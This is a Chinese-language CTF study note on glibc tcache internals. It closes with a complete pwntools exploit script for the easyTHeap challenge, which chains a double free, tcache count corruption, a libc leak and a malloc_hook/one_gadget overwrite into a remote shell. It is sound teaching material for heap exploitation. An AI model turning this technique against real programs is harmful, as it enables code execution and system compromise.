基础介绍:
tcache:thread local caching,在libc2.26及以上系统中默认开始(Ubuntu 16.04中是2.23, Ubuntu 18.04中是2.27)
每个线程默认使用64个单链表结构的bins,每个bins最多存放7个chunk。
chunk大小在x64上以0x10递增(0x18 ~ 0x408),在x86上以0x8递增(0xC ~ 0x200)。
引入了两个新的数据结构,tcache_entry和tcache_perthread_struct
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
tcache_perthread_struct
counts:用来存放对应bins中的chunk数量
entries: 用来指向对应bins中的头部指针,然后用指针对应位置的tcache_entry结构的next进行索引,构成一个单向链表结构。
tcache_entry
*next:用来指向下一个chunk,与fastbin中的类似,位置正是原来fastbin的fd位置,且在free时也是把头部指针指向,最后一个free进入tcache中的块。
触发在tcache中放入chunk的操作(tcache_put)
free:
在fastbin操作前进行,如果chunk size符合要求(小于最大限制),且对应的bins还没有装满(7个chunk),则将其放入tcache bin中。
malloc:
1.从fastbin中返回了一个所需要的chunk,那么这个chunk对应的fastbin中的其他chunk会被放进对应的tcache bin中,直到装满为止。而且chunks在tcache bin的顺序和fastbin中的顺序相反。
2.small bin中的情况也与fastbin类似。
3.binning code(chunk合并等其他情况)中,每一个符合要求的 chunk 都会优先被放入 tcache,而不是直接返回(除非tcache被装满)。寻找结束后,tcache 会返回其中一个。
触发从tcache中取出chunk的操作(tcache_get)
malloc
如果在tcache bin中有符合要求的chunk,则直接返回这个chunk。
== tcache 中的 chunk 不会被合并,无论是相邻 chunk,还是 chunk 和 top chunk。因为这些 chunk 会被标记为 inuse。==
例题:
[V&N2020 公开赛]easyTHeap
1.double free
2.UAF change tcache(0x90),爆破4字节。
3.添加三次后,0x90对应的tcache size变成-1
4.-1 == 0xFF > 7,所以这时候free会进入unsorted bin
5.leak unsorted bin
6.打malloc_hook,并且利用realloc_hook进行调整
from pwn import *
from LibcSearcher import *
#context.log_level = "debug"
def choice(idx):
r.sendlineafter("choice: ", str(idx))
def add(size):
choice(1)
r.sendlineafter("size?", str(size))
def edit(idx, content):
choice(2)
r.sendlineafter("idx?", str(idx))
r.sendafter("content:", content)
def show(idx):
choice(3)
r.sendlineafter("idx?", str(idx))
def delete(idx):
choice(4)
r.sendlineafter("idx?", str(idx))
def pwn():
heap_addr = 0x0088
add(0x88) #0
add(0x18) #1
delete(0)
delete(0) #double free
add(0x88) #2
edit(2, p16(heap_addr))
add(0x88) #3
add(0x88) #4 tcache
#tcache size == -1
#unsortbin leak
delete(2)
show(2)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 96 - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
log.success("libc_base: " + hex(libc_base))
realloc_addr = libc_base + libc.dump('realloc')
log.success("realloc_addr: " + hex(realloc_addr))
#one = [0x4f365, 0x4f365, 0x4f365]
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + one[2]
log.success("one_gadget: " + hex(one_gadget))
edit(4, p64(malloc_hook_addr - 8))
add(0x88) #5 realloc_hook __malloc_hook
edit(5, p64(one_gadget) + p64(realloc_addr + 6))
#getshell
add(0x88)
r.interactive()
while True:
try:
#r = process('./vn_pwn_easyTHeap')
r = remote('node3.buuoj.cn', 27905)
pwn()
except EOFError:
pass
SWPUCTF 2020 tnote
http://blog.wjhwjhn.com/archives/104/
SWPUCTF 2019 p1KkHeap
http://blog.wjhwjhn.com/archives/97/
总结
ubuntu16.04已经慢慢地要被淘汰了,现在比赛的题目大多数都是在libc 2.27下,如果出现libc2.23一般都会是比较难的题目,例如:ByteCTF 2019 note_five
http://blog.wjhwjhn.com/archives/117/ ,考察IO_fILE leak的一些技巧,堆块限制卡的很死。
基本上简单的fastbin attack考察已经不复存在了,其完全可以被tcache attack取代,不过我觉得tcache反而更容易利用更简单一些。
所以掌握简单的tcache一定是有必要的。